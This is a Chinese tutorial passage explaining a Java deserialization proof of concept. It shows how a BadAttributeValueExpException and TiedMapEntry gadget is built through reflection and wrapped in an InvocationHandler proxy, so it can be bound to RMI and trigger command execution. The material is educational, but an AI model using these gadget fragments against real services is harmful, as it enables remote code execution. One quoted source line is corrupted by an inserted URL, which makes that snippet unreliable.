1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明?
代码中我们用以下四行反射的方式构造badAttributeValueExpException对象
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, tiedMapEntry);
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
2、为什么不直接将badAttributeValueExpException对象bind到RMI服务?
执行bind操作需要对象类型为Remote,这里BadAttributeValueExpException无法直接转换为Remote类型,因此需要将其封装在AnnotationInvocationHandler里面 。在这个Poc中只要是继承了InvocationHandler的动态代理类都可以,比如我们自定义以下类
- package client;
- import javax.management.BadAttributeValueExpException;
- import java.io.Serializable;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- public class PocHandler implements InvocationHandler, Serializable {
- private BadAttributeValueExpException ref;
- protected PocHandler(BadAttributeValueExpException newref) {
- ref = newref;
- }
- // @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- return method.invoke(this.ref, args);
- }
- }
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));
反序列化过程是递归的,封装在InvocationHandler中badAttributeValueExpException也会执行反序列化操作,因此也能够触发命令执行 。但是有些Poc的写法就必须要用sun.reflect.annotation.AnnotationInvocationHandler这个类,因为是利用AnnotationInvocationHandler反序列化过程中readObject函数对map对象的set操作来实现命令执行的,set操作会导致transform操作,使得整个调用链触发 。
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = https://www.isolves.com/it/aq/wl/2019-08-16/memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
相关实验:Java反序列漏洞
点击:
“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳哟)
文章插图
?
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!
推荐阅读
- 从容不迫的意思,从容的反义词 从容不迫
- 微信QQ传文件太过反人类?教你如何解决
- 反复冲茶有害还是无害
- 利用DNS反射绕过防火墙进行通信
- 梦见和仇人大打出手 梦见与父亲反目成仇大打出手意味什么
- 喝茶易致贫血?反季节蔬菜有激素?这些饮食传言是真是假,终于知道了……
- 你是靠反复烧水保持水温的么 你躺枪了
- Java基础--RMI
- 最小的全画幅数码相机 最轻的全画幅单反相机
- 双十一前涨价违反天猫规则吗 天猫双十一应该是全年最低价吗